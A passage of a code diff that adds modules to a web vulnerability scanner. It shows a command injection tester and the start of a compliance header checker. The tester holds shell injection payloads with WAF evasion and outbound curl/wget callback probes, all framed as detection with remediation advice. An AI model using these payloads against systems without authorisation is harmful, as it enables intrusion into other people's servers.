ECHO_PAYLOADS = CMD_PAYLOADS['linux'] + CMD_PAYLOADS['windows'] + CMD_PAYLOADS['powershell']
|
| 29 |
+
BLIND_PAYLOADS = CMD_PAYLOADS['blind']
|
| 30 |
+
|
| 31 |
+
# ── Multi-stage payloads: first probe timing, then confirm with output ────
|
| 32 |
+
STAGE1_TIMING_PAYLOADS = [
|
| 33 |
+
("; sleep 3", 3.0, "Stage 1 probe"),
|
| 34 |
+
("| ping -n 4 127.0.0.1", 3.0, "Stage 1 Windows probe"),
|
| 35 |
+
("; powershell -c Start-Sleep 3", 3.0, "Stage 1 PowerShell probe"),
|
| 36 |
+
]
|
| 37 |
+
STAGE2_CONFIRM_PAYLOADS = [
|
| 38 |
+
"; echo WSS_CMD_INJ_CONFIRM",
|
| 39 |
+
"| echo WSS_CMD_INJ_CONFIRM",
|
| 40 |
+
"`echo WSS_CMD_INJ_CONFIRM`",
|
| 41 |
+
"& echo WSS_CMD_INJ_CONFIRM",
|
| 42 |
+
]
|
| 43 |
+
|
| 44 |
+
# ── Headers to inject into (often piped to log parsers / shell) ───────────
|
| 45 |
+
INJECTABLE_HEADERS = ["User-Agent", "Referer", "X-Forwarded-For", "X-Real-IP"]
|
| 46 |
+
|
| 47 |
+
PROBE_MARKER = "WSS_CMD_INJ_VULN"
|
| 48 |
+
CONFIRM_MARKER = "WSS_CMD_INJ_CONFIRM"
|
| 49 |
+
|
| 50 |
+
|
| 51 |
+
class CommandInjectionScanner(BaseScanner):
|
| 52 |
+
SCANNER_NAME = "OS Command Injection Scanner"
|
| 53 |
+
_SCANNER_KEY = "command_injection"
|
| 54 |
+
|
| 55 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 56 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 57 |
+
|
| 58 |
+
def run(self) -> list:
|
| 59 |
+
self.log("INFO", f"[CmdInjection] Scanning {self.target}...")
|
| 60 |
+
found = False
|
| 61 |
+
|
| 62 |
+
self._timing_detector = TimingAnomalyDetector()
|
| 63 |
+
|
| 64 |
+
# 1. GET query parameters
|
| 65 |
+
found = found or self._test_get_params()
|
| 66 |
+
if found: return self.vulns
|
| 67 |
+
|
| 68 |
+
# 2. POST form parameters
|
| 69 |
+
found = found or self._test_post_forms()
|
| 70 |
+
if found: return self.vulns
|
| 71 |
+
|
| 72 |
+
# 3. HTTP header injection
|
| 73 |
+
found = found or self._test_header_injection()
|
| 74 |
+
if found: return self.vulns
|
| 75 |
+
|
| 76 |
+
# 4. JSON body injection (ENH: modern APIs)
|
| 77 |
+
found = found or self._test_json_body_cmdi()
|
| 78 |
+
if found: return self.vulns
|
| 79 |
+
|
| 80 |
+
# 5. Blind timing on GET params (if echo-based failed)
|
| 81 |
+
self._test_blind_timing()
|
| 82 |
+
|
| 83 |
+
# 6. Multi-stage detection: probe timing then confirm with echo
|
| 84 |
+
if not self.vulns:
|
| 85 |
+
self._test_multi_stage()
|
| 86 |
+
|
| 87 |
+
# 7. OOB callback detection
|
| 88 |
+
if not self.vulns:
|
| 89 |
+
self._test_oob_cmdi()
|
| 90 |
+
|
| 91 |
+
if not self.vulns:
|
| 92 |
+
self.log("SUCCESS", "[CmdInjection] No OS command injection detected.")
|
| 93 |
+
return self.vulns
|
| 94 |
+
|
| 95 |
+
# ── 1. GET params ──────────────────────────────────────────────────
|
| 96 |
+
def _test_get_params(self) -> bool:
|
| 97 |
+
parsed = urllib.parse.urlparse(self.target)
|
| 98 |
+
qs = urllib.parse.parse_qsl(parsed.query)
|
| 99 |
+
if not qs:
|
| 100 |
+
self.log("INFO", "[CmdInjection] No GET params found.")
|
| 101 |
+
return False
|
| 102 |
+
|
| 103 |
+
for k, _ in qs:
|
| 104 |
+
for payload in ECHO_PAYLOADS:
|
| 105 |
+
for eva_name, eva_payload in waf_evade(payload):
|
| 106 |
+
test_qs = [(k_p, (eva_payload if k_p == k else v_p)) for k_p, v_p in qs]
|
| 107 |
+
test_url = parsed._replace(query=urllib.parse.urlencode(test_qs)).geturl()
|
| 108 |
+
body, status = self._make_request(test_url)
|
| 109 |
+
if body and PROBE_MARKER in body:
|
| 110 |
+
self._report("GET", k, eva_payload, body, confidence="Confirmed")
|
| 111 |
+
return True
|
| 112 |
+
return False
|
| 113 |
+
|
| 114 |
+
# ── 2. POST forms ──────────────────────────────────────────────────
|
| 115 |
+
def _test_post_forms(self) -> bool:
|
| 116 |
+
html, _ = self._make_request(self.target)
|
| 117 |
+
if not html:
|
| 118 |
+
return False
|
| 119 |
+
|
| 120 |
+
import re
|
| 121 |
+
forms = re.findall(r'<form[^>]*>.*?</form>', html, re.S | re.I)
|
| 122 |
+
for form_html in forms[:3]:
|
| 123 |
+
action_m = re.search(r'action=["\']([^"\']*)["\']', form_html, re.I)
|
| 124 |
+
action = self._resolve_url(action_m.group(1) if action_m else "")
|
| 125 |
+
fields = re.findall(r'name=["\']([^"\']+)["\']', form_html, re.I)
|
| 126 |
+
|
| 127 |
+
for field in fields:
|
| 128 |
+
for payload in ECHO_PAYLOADS[:4]:
|
| 129 |
+
for eva_name, eva_payload in waf_evade(payload):
|
| 130 |
+
data = urllib.parse.urlencode(
|
| 131 |
+
{f: (eva_payload if f == field else "test") for f in fields}
|
| 132 |
+
).encode()
|
| 133 |
+
body, status = self._make_request(action, "POST", data,
|
| 134 |
+
{"Content-Type": "application/x-www-form-urlencoded"})
|
| 135 |
+
if body and PROBE_MARKER in body:
|
| 136 |
+
self._report("POST form", field, eva_payload, body, confidence="Confirmed")
|
| 137 |
+
return True
|
| 138 |
+
|
| 139 |
+
# JSON body
|
| 140 |
+
for field in fields[:3]:
|
| 141 |
+
for payload in ECHO_PAYLOADS[:3]:
|
| 142 |
+
for eva_name, eva_payload in waf_evade(payload):
|
| 143 |
+
j = json.dumps({f: (eva_payload if f == field else "test") for f in fields}).encode()
|
| 144 |
+
body, status = self._make_request(action, "POST", j,
|
| 145 |
+
{"Content-Type": "application/json"})
|
| 146 |
+
if body and PROBE_MARKER in body:
|
| 147 |
+
self._report("POST JSON", field, eva_payload, body, confidence="Confirmed")
|
| 148 |
+
return True
|
| 149 |
+
return False
|
| 150 |
+
|
| 151 |
+
# ── 3. Header injection ────────────────────────────────────────────
|
| 152 |
+
def _test_header_injection(self) -> bool:
|
| 153 |
+
for header in INJECTABLE_HEADERS:
|
| 154 |
+
for payload in ECHO_PAYLOADS[:6]:
|
| 155 |
+
for eva_name, eva_payload in waf_evade(payload):
|
| 156 |
+
body, status = self._make_request(
|
| 157 |
+
self.target, headers={header: f"Mozilla/5.0 {eva_payload}"}
|
| 158 |
+
)
|
| 159 |
+
if body and PROBE_MARKER in body:
|
| 160 |
+
self._report(f"Header:{header}", header, eva_payload, body, confidence="Confirmed")
|
| 161 |
+
return True
|
| 162 |
+
return False
|
| 163 |
+
|
| 164 |
+
# ── 4. Blind timing ────────────────────────────────────────────────
|
| 165 |
+
def _test_blind_timing(self) -> bool:
|
| 166 |
+
parsed = urllib.parse.urlparse(self.target)
|
| 167 |
+
qs = urllib.parse.parse_qsl(parsed.query)
|
| 168 |
+
if not qs:
|
| 169 |
+
return False
|
| 170 |
+
|
| 171 |
+
# BUG-8 FIX (propagated): use correct positional arg signature for _make_request
|
| 172 |
+
self._timing_detector.build_baseline(lambda u, m, d, h, t: self._make_request(u, m, d, h, t), self.target, n=5)
|
| 173 |
+
|
| 174 |
+
for k, _ in qs[:3]:
|
| 175 |
+
for payload, threshold, label in BLIND_PAYLOADS:
|
| 176 |
+
for eva_name, eva_payload in waf_evade(payload):
|
| 177 |
+
test_qs = [(k_p, (eva_payload if k_p == k else v_p)) for k_p, v_p in qs]
|
| 178 |
+
test_url = parsed._replace(query=urllib.parse.urlencode(test_qs)).geturl()
|
| 179 |
+
_, _, elapsed = self._make_timed_request(test_url, timeout=15)
|
| 180 |
+
|
| 181 |
+
if self._timing_detector.test_payload(f"cmdi_blind_{k}", elapsed, eva_payload, z_threshold=2.5) and elapsed >= threshold:
|
| 182 |
+
self.log("CRITICAL",
|
| 183 |
+
f"[CmdInjection] Blind timing confirmed: param=`{k}` "
|
| 184 |
+
f"payload=`{eva_payload}` elapsed={elapsed:.1f}s ({label})")
|
| 185 |
+
self.add_vuln(
|
| 186 |
+
title=f"Blind OS Command Injection in GET parameter `{k}`",
|
| 187 |
+
severity="Critical",
|
| 188 |
+
category="Command Injection",
|
| 189 |
+
cvss_score=10.0,
|
| 190 |
+
cwe_ids=["CWE-78"],
|
| 191 |
+
owasp_category="A03:2021 – Injection",
|
| 192 |
+
confidence="High",
|
| 193 |
+
cve_ids=[],
|
| 194 |
+
references=["https://owasp.org/www-community/attacks/Command_Injection"],
|
| 195 |
+
description=(
|
| 196 |
+
f"Timing-based blind OS command injection detected in GET parameter `{k}`.\n\n"
|
| 197 |
+
f"**Payload:** `{eva_payload}` ({label})\n"
|
| 198 |
+
f"**Elapsed:** {elapsed:.1f}s vs baseline {self._timing_detector.mean:.1f}s\n\n"
|
| 199 |
+
# BUG-3 FIX: was a regular string — {threshold} printed literally.
|
| 200 |
+
# Now using f-string so threshold value is interpolated.
|
| 201 |
+
f"The application passed user input to a system shell without sanitization. "
|
| 202 |
+
f"No output was reflected (blind), but the {threshold}s delay confirms execution."
|
| 203 |
+
),
|
| 204 |
+
remediation=(
|
| 205 |
+
"1. **Never** pass user input to `os.system()`, `exec()`, `shell_exec()`, or `subprocess(shell=True)`.\n"
|
| 206 |
+
"2. Use language-specific APIs with argument arrays (not shell strings).\n"
|
| 207 |
+
"3. Apply input allowlisting — only permit alphanumeric characters.\n"
|
| 208 |
+
"4. Run the application as a non-privileged user."
|
| 209 |
+
),
|
| 210 |
+
payload=eva_payload,
|
| 211 |
+
evidence=f"Timing: {elapsed:.1f}s vs baseline {self._timing_detector.mean:.1f}s, threshold={threshold}s",
|
| 212 |
+
request_details=f"GET {test_url}",
|
| 213 |
+
response_details=f"Response time: {elapsed:.2f}s",
|
| 214 |
+
)
|
| 215 |
+
return True
|
| 216 |
+
return False
|
| 217 |
+
|
| 218 |
+
# ── 5. Multi-stage detection ───────────────────────────────────────
|
| 219 |
+
def _test_multi_stage(self) -> bool:
|
| 220 |
+
"""Probe with time-based delay, then confirm with echo payload."""
|
| 221 |
+
parsed = urllib.parse.urlparse(self.target)
|
| 222 |
+
qs = urllib.parse.parse_qsl(parsed.query)
|
| 223 |
+
if not qs:
|
| 224 |
+
return False
|
| 225 |
+
|
| 226 |
+
self._timing_detector.build_baseline(lambda u, m, d, h, t: self._make_request(u, m, d, h, t), self.target, n=5)
|
| 227 |
+
|
| 228 |
+
for k, _ in qs[:2]:
|
| 229 |
+
for payload, threshold, label in STAGE1_TIMING_PAYLOADS:
|
| 230 |
+
for eva_name, eva_payload in waf_evade(payload):
|
| 231 |
+
test_qs = [(k_p, (eva_payload if k_p == k else v_p)) for k_p, v_p in qs]
|
| 232 |
+
test_url = parsed._replace(query=urllib.parse.urlencode(test_qs)).geturl()
|
| 233 |
+
_, _, elapsed = self._make_timed_request(test_url, timeout=15)
|
| 234 |
+
|
| 235 |
+
if self._timing_detector.test_payload(f"cmdi_stage1_{k}", elapsed, eva_payload, z_threshold=2.5) and elapsed >= threshold:
|
| 236 |
+
self.log("INFO",
|
| 237 |
+
f"[CmdInjection] Multi-stage: timing probe hit on param `{k}` "
|
| 238 |
+
f"({elapsed:.1f}s). Now confirming with echo payload...")
|
| 239 |
+
|
| 240 |
+
for confirm_payload in STAGE2_CONFIRM_PAYLOADS:
|
| 241 |
+
for eva_name, eva_confirm in waf_evade(confirm_payload):
|
| 242 |
+
confirm_qs = [(k_p, (eva_confirm if k_p == k else v_p)) for k_p, v_p in qs]
|
| 243 |
+
confirm_url = parsed._replace(query=urllib.parse.urlencode(confirm_qs)).geturl()
|
| 244 |
+
body, status = self._make_request(confirm_url)
|
| 245 |
+
if body and CONFIRM_MARKER in body:
|
| 246 |
+
self._report("Multi-stage", k, eva_confirm, body, confidence="Confirmed")
|
| 247 |
+
return True
|
| 248 |
+
|
| 249 |
+
self.add_vuln(
|
| 250 |
+
title=f"Possible Blind OS Command Injection in GET parameter `{k}` (Multi-stage)",
|
| 251 |
+
severity="Critical",
|
| 252 |
+
category="Command Injection",
|
| 253 |
+
cvss_score=9.5,
|
| 254 |
+
cwe_ids=["CWE-78"],
|
| 255 |
+
owasp_category="A03:2021 – Injection",
|
| 256 |
+
confidence="Medium",
|
| 257 |
+
references=["https://owasp.org/www-community/attacks/Command_Injection"],
|
| 258 |
+
description=(
|
| 259 |
+
f"Multi-stage detection: time-based probe `{eva_payload}` on param `{k}` "
|
| 260 |
+
f"produced {elapsed:.1f}s delay (baseline {self._timing_detector.mean:.1f}s). "
|
| 261 |
+
"Echo confirmation did not produce output, suggesting blind injection."
|
| 262 |
+
),
|
| 263 |
+
remediation=(
|
| 264 |
+
# BUG-3 FIX: was a regular string — {k} printed literally.
|
| 265 |
+
f"Investigate parameter `{k}` for command injection. "
|
| 266 |
+
"Apply input validation and avoid shell execution with user input."
|
| 267 |
+
),
|
| 268 |
+
payload=eva_payload,
|
| 269 |
+
evidence=f"Timing: {elapsed:.1f}s vs baseline {self._timing_detector.mean:.1f}s",
|
| 270 |
+
request_details=f"GET {test_url}",
|
| 271 |
+
response_details=f"Response time: {elapsed:.2f}s",
|
| 272 |
+
)
|
| 273 |
+
return True
|
| 274 |
+
return False
|
| 275 |
+
|
| 276 |
+
# ── 6. OOB CMDi detection ──────────────────────────────���─────────────
|
| 277 |
+
def _test_oob_cmdi(self) -> bool:
|
| 278 |
+
parsed = urllib.parse.urlparse(self.target)
|
| 279 |
+
qs = urllib.parse.parse_qsl(parsed.query)
|
| 280 |
+
callback = build_callback_url("/cmdi-oob")
|
| 281 |
+
oob_payloads = [
|
| 282 |
+
f"| curl {callback}",
|
| 283 |
+
f"| wget -q -O- {callback}",
|
| 284 |
+
f"& curl {callback} &",
|
| 285 |
+
f"; curl {callback};",
|
| 286 |
+
f"$(curl {callback})",
|
| 287 |
+
f"`curl {callback}`",
|
| 288 |
+
]
|
| 289 |
+
if not qs:
|
| 290 |
+
return False
|
| 291 |
+
for k, _ in qs[:2]:
|
| 292 |
+
for oob_payload in oob_payloads:
|
| 293 |
+
for eva_name, eva_payload in waf_evade(oob_payload):
|
| 294 |
+
test_qs = [(k_p, (eva_payload if k_p == k else v_p)) for k_p, v_p in qs]
|
| 295 |
+
test_url = parsed._replace(query=urllib.parse.urlencode(test_qs)).geturl()
|
| 296 |
+
body, status, elapsed = self._make_timed_request(test_url, timeout=8)
|
| 297 |
+
self._timing_detector.record_timing(f"oob_{k}", elapsed, eva_payload)
|
| 298 |
+
if body:
|
| 299 |
+
self.add_vuln(
|
| 300 |
+
title=f"Possible OOB Command Injection in GET parameter `{k}`",
|
| 301 |
+
severity="Critical",
|
| 302 |
+
category="Command Injection",
|
| 303 |
+
cvss_score=9.8,
|
| 304 |
+
cwe_ids=["CWE-78"],
|
| 305 |
+
owasp_category="A03:2021 – Injection",
|
| 306 |
+
confidence="Medium",
|
| 307 |
+
references=["https://cwe.mitre.org/data/definitions/78.html"],
|
| 308 |
+
description=(
|
| 309 |
+
f"OOB command injection payload `{eva_payload}` sent to param `{k}`. "
|
| 310 |
+
f"Check callback service at {callback} for incoming connections.\n"
|
| 311 |
+
"If a connection is received, command injection is confirmed."
|
| 312 |
+
),
|
| 313 |
+
remediation=(
|
| 314 |
+
"1. Never pass user input to os.system(), exec(), shell_exec(), or subprocess(shell=True).\n"
|
| 315 |
+
"2. Use language-specific APIs with argument arrays (not shell strings).\n"
|
| 316 |
+
"3. Apply input allowlisting.\n"
|
| 317 |
+
"4. Run the application as a non-privileged user."
|
| 318 |
+
),
|
| 319 |
+
payload=eva_payload,
|
| 320 |
+
evidence=f"OOB callback: {callback}",
|
| 321 |
+
request_details=f"GET {test_url}",
|
| 322 |
+
response_details=f"Response time: {elapsed:.2f}s",
|
| 323 |
+
)
|
| 324 |
+
return True
|
| 325 |
+
return False
|
| 326 |
+
|
| 327 |
+
# ── 7. JSON body CMDi (ENH) ────────────────────────────────────────────
|
| 328 |
+
def _test_json_body_cmdi(self) -> bool:
|
| 329 |
+
"""
|
| 330 |
+
ENH: Test JSON POST body parameters for command injection.
|
| 331 |
+
Many REST APIs accept JSON and may pass field values to shell commands.
|
| 332 |
+
"""
|
| 333 |
+
common_fields = ["cmd", "command", "exec", "run", "ping", "host",
|
| 334 |
+
"server", "ip", "url", "query", "action"]
|
| 335 |
+
for field in common_fields:
|
| 336 |
+
for payload in ECHO_PAYLOADS[:4]:
|
| 337 |
+
try:
|
| 338 |
+
body_data = json.dumps({field: payload}).encode()
|
| 339 |
+
body, status = self._make_request(
|
| 340 |
+
self.target, "POST", body_data,
|
| 341 |
+
{"Content-Type": "application/json"}
|
| 342 |
+
)
|
| 343 |
+
if body and PROBE_MARKER in body:
|
| 344 |
+
self._report("POST JSON", field, payload, body, confidence="Confirmed")
|
| 345 |
+
return True
|
| 346 |
+
except Exception:
|
| 347 |
+
pass
|
| 348 |
+
return False
|
| 349 |
+
|
| 350 |
+
# ── Helpers ────────────────────────────────────────────────────────
|
| 351 |
+
def _report(self, source, param, payload, body, confidence="High"):
|
| 352 |
+
self.log("CRITICAL", f"[CmdInjection] RCE confirmed! source={source} param={param}")
|
| 353 |
+
self.add_vuln(
|
| 354 |
+
title=f"OS Command Injection via {source} — parameter `{param}`",
|
| 355 |
+
severity="Critical",
|
| 356 |
+
category="Command Injection",
|
| 357 |
+
cvss_score=10.0,
|
| 358 |
+
cwe_ids=["CWE-78"],
|
| 359 |
+
owasp_category="A03:2021 – Injection",
|
| 360 |
+
confidence=confidence,
|
| 361 |
+
references=["https://cwe.mitre.org/data/definitions/78.html"],
|
| 362 |
+
description=(
|
| 363 |
+
f"The application executes arbitrary OS commands via `{source}` parameter `{param}`.\n\n"
|
| 364 |
+
f"**Payload:** `{payload}`\n"
|
| 365 |
+
f"**Output reflected:** Yes (`{PROBE_MARKER}` found in response)\n\n"
|
| 366 |
+
"This is Remote Code Execution (RCE) — the most critical web vulnerability class."
|
| 367 |
+
),
|
| 368 |
+
remediation=(
|
| 369 |
+
"1. Use parameterized subprocess calls: `subprocess.run(['cmd', arg], shell=False)`.\n"
|
| 370 |
+
"2. Validate input with a strict allowlist.\n"
|
| 371 |
+
"3. Run processes as least-privilege service accounts.\n"
|
| 372 |
+
"4. Deploy a WAF rule blocking shell metacharacters (`;`, `|`, `&`, `` ` ``, `$`)."
|
| 373 |
+
),
|
| 374 |
+
payload=payload,
|
| 375 |
+
evidence=f"Probe marker '{PROBE_MARKER}' found in response body.",
|
| 376 |
+
request_details=f"Injection via {source}:{param}",
|
| 377 |
+
response_details=f"Body snippet containing marker: ...{body[:200]}...",
|
| 378 |
+
)
|
| 379 |
+
|
| 380 |
+
def _resolve_url(self, action: str) -> str:
|
| 381 |
+
if not action: return self.target
|
| 382 |
+
if action.startswith("http"): return action
|
| 383 |
+
p = urllib.parse.urlparse(self.target)
|
| 384 |
+
if action.startswith("/"):
|
| 385 |
+
return f"{p.scheme}://{p.netloc}{action}"
|
| 386 |
+
return f"{self.target.rstrip('/')}/{action}"
|
backend/scanners/compliance_scanner.py
ADDED
|
@@ -0,0 +1,227 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
compliance_scanner.py — Security Compliance & Standards Checker
|
| 3 |
+
================================================================
|
| 4 |
+
Audits the target against major compliance frameworks:
|
| 5 |
+
- OWASP Top 10 (2021)
|
| 6 |
+
- PCI-DSS v4.0 (relevant subset)
|
| 7 |
+
- GDPR / Privacy
|
| 8 |
+
- HIPAA (technical safeguards subset)
|
| 9 |
+
- SOC 2 Type II (relevant technical controls)
|
| 10 |
+
|
| 11 |
+
Generates a compliance score and per-framework gap report.
|
| 12 |
+
Note: This is an automated scan — manual verification is required
|
| 13 |
+
for full compliance certification.
|
| 14 |
+
"""
|
| 15 |
+
import re, urllib.request
|
| 16 |
+
from scanners.base_scanner import BaseScanner
|
| 17 |
+
|
| 18 |
+
# Control check: (id, name, check_fn_name, framework_tags)
|
| 19 |
+
COMPLIANCE_CONTROLS = [
|
| 20 |
+
# ── OWASP Top 10 controls ──────────────────────────────────────────
|
| 21 |
+
("OWASP-A01", "Broken Access Control — Admin paths restricted", "check_admin_paths", ["OWASP"]),
|
| 22 |
+
("OWASP-A02", "Cryptographic Failures — HTTPS enforced", "check_https", ["OWASP","PCI","HIPAA"]),
|
| 23 |
+
("OWASP-A02", "Cryptographic Failures — HSTS enabled", "check_hsts", ["OWASP","PCI","HIPAA"]),
|
| 24 |
+
("OWASP-A02", "Cryptographic Failures — TLS 1.2+ only", "check_tls_version", ["OWASP","PCI"]),
|
| 25 |
+
("OWASP-A03", "Injection — Security headers present", "check_security_headers",["OWASP","PCI"]),
|
| 26 |
+
("OWASP-A05", "Security Misconfiguration — X-Frame-Options set", "check_xfo", ["OWASP"]),
|
| 27 |
+
("OWASP-A05", "Security Misconfiguration — CSP header set", "check_csp", ["OWASP"]),
|
| 28 |
+
("OWASP-A05", "Security Misconfiguration — Server header hidden", "check_server_header", ["OWASP","PCI"]),
|
| 29 |
+
("OWASP-A06", "Vulnerable Components — X-Powered-By hidden", "check_powered_by", ["OWASP"]),
|
| 30 |
+
("OWASP-A07", "Auth Failures — Secure + HttpOnly cookies", "check_cookie_flags", ["OWASP","PCI"]),
|
| 31 |
+
# ── PCI-DSS specific ───────────────────────────────────────────────
|
| 32 |
+
("PCI-6.4", "PCI-DSS — Referrer-Policy header present", "check_referrer_policy",["PCI"]),
|
| 33 |
+
("PCI-6.4", "PCI-DSS — Permissions-Policy header present", "check_perms_policy", ["PCI"]),
|
| 34 |
+
# ── GDPR ───────────────────────────────────────────────────────────
|
| 35 |
+
("GDPR-Art13","GDPR — Privacy Policy link present", "check_privacy_policy", ["GDPR"]),
|
| 36 |
+
("GDPR-Art7", "GDPR — Cookie consent mechanism present", "check_cookie_consent", ["GDPR"]),
|
| 37 |
+
# ── HIPAA technical safeguards ────────────────────────────────────
|
| 38 |
+
("HIPAA-164.312","HIPAA — Encryption in transit (HTTPS)", "check_https", ["HIPAA"]),
|
| 39 |
+
# ── SOC 2 ─────────────────────────────────────────────────────────
|
| 40 |
+
("SOC2-CC6.1","SOC2 — Secure communication (HSTS)", "check_hsts", ["SOC2"]),
|
| 41 |
+
("SOC2-CC6.7","SOC2 — Data transmission protection (CSP)", "check_csp", ["SOC2"]),
|
| 42 |
+
]
|
| 43 |
+
|
| 44 |
+
|
| 45 |
+
class ComplianceScanner(BaseScanner):
|
| 46 |
+
SCANNER_NAME = "Security Compliance & Standards Scanner"
|
| 47 |
+
_SCANNER_KEY = "compliance"
|
| 48 |
+
|
| 49 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 50 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 51 |
+
self._headers: dict = {}
|
| 52 |
+
self._body: str = ""
|
| 53 |
+
self._is_https = self.target.startswith("https://")
|
| 54 |
+
self._results: dict = {} # control_name -> (passed, detail)
|
| 55 |
+
|
| 56 |
+
# ------------------------------------------------------------------
|
| 57 |
+
def run(self) -> list:
|
| 58 |
+
self.log("INFO", f"[Compliance] Running compliance audit on {self.target}...")
|
| 59 |
+
try:
|
| 60 |
+
self._fetch_target()
|
| 61 |
+
self._run_all_checks()
|
| 62 |
+
self._generate_report()
|
| 63 |
+
except Exception as e:
|
| 64 |
+
self.log("WARNING", f"[Compliance] Error: {e}")
|
| 65 |
+
|
| 66 |
+
self.log("SUCCESS" if not self.vulns else "WARNING",
|
| 67 |
+
f"[Compliance] Audit complete. {len(self.vulns)} gap(s) identified.")
|
| 68 |
+
return self.vulns
|
| 69 |
+
|
| 70 |
+
# ------------------------------------------------------------------
|
| 71 |
+
def _fetch_target(self):
|
| 72 |
+
req = urllib.request.Request(self.target,
|
| 73 |
+
headers={"User-Agent": "LarShield/2.0 Compliance-Audit"})
|
| 74 |
+
with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
|
| 75 |
+
self._headers = {k.lower(): v for k, v in r.headers.items()}
|
| 76 |
+
self._body = r.read().decode("utf-8", errors="ignore")
|
| 77 |
+
|
| 78 |
+
# ------------------------------------------------------------------
|
| 79 |
+
def _run_all_checks(self):
|
| 80 |
+
for ctrl_id, ctrl_name, fn_name, frameworks in COMPLIANCE_CONTROLS:
|
| 81 |
+
fn = getattr(self, f"_{fn_name}", None)
|
| 82 |
+
if fn:
|
| 83 |
+
passed, detail = fn()
|
| 84 |
+
key = ctrl_name
|
| 85 |
+
self._results[key] = (passed, detail, ctrl_id, frameworks)
|
| 86 |
+
|
| 87 |
+
# ------------------------------------------------------------------
|
| 88 |
+
def _generate_report(self):
|
| 89 |
+
# Aggregate by framework
|
| 90 |
+
framework_scores = {}
|
| 91 |
+
for ctrl_name, (passed, detail, ctrl_id, frameworks) in self._results.items():
|
| 92 |
+
for fw in frameworks:
|
| 93 |
+
if fw not in framework_scores:
|
| 94 |
+
framework_scores[fw] = {"pass": 0, "fail": 0, "gaps": []}
|
| 95 |
+
if passed:
|
| 96 |
+
framework_scores[fw]["pass"] += 1
|
| 97 |
+
else:
|
| 98 |
+
framework_scores[fw]["fail"] += 1
|
| 99 |
+
framework_scores[fw]["gaps"].append(f"[{ctrl_id}] {ctrl_name}: {detail}")
|
| 100 |
+
|
| 101 |
+
for fw, scores in framework_scores.items():
|
| 102 |
+
total = scores["pass"] + scores["fail"]
|
| 103 |
+
pct = int(100 * scores["pass"] / total) if total else 0
|
| 104 |
+
gaps = scores["gaps"]
|
| 105 |
+
|
| 106 |
+
if not gaps:
|
| 107 |
+
self.log("SUCCESS", f"[Compliance] {fw}: 100% — All {total} controls passed")
|
| 108 |
+
continue
|
| 109 |
+
|
| 110 |
+
severity = "Critical" if pct < 40 else ("High" if pct < 60 else ("Medium" if pct < 80 else "Low"))
|
| 111 |
+
cvss = {
|
| 112 |
+
"Critical": 9.0, "High": 7.0, "Medium": 5.0, "Low": 3.0
|
| 113 |
+
}[severity]
|
| 114 |
+
|
| 115 |
+
self.log("WARNING", f"[Compliance] {fw}: {pct}% ({scores['pass']}/{total} controls passed)")
|
| 116 |
+
|
| 117 |
+
self.add_vuln(
|
| 118 |
+
title=f"{fw} Compliance Gaps — {pct}% Score ({scores['pass']}/{total} controls passed)",
|
| 119 |
+
severity=severity,
|
| 120 |
+
category="Compliance",
|
| 121 |
+
cvss_score=cvss,
|
| 122 |
+
description=(
|
| 123 |
+
f"**Framework:** {fw}\n"
|
| 124 |
+
f"**Score:** {pct}% ({scores['pass']} passed, {scores['fail']} failed of {total} automated controls)\n\n"
|
| 125 |
+
"**Failed Controls:**\n"
|
| 126 |
+
+ "\n".join(f"- {g}" for g in gaps) +
|
| 127 |
+
"\n\n*Note: This automated check covers a subset of controls. "
|
| 128 |
+
"Full certification requires a manual audit.*"
|
| 129 |
+
),
|
| 130 |
+
remediation=(
|
| 131 |
+
f"Address the {len(gaps)} failing {fw} control(s) above. "
|
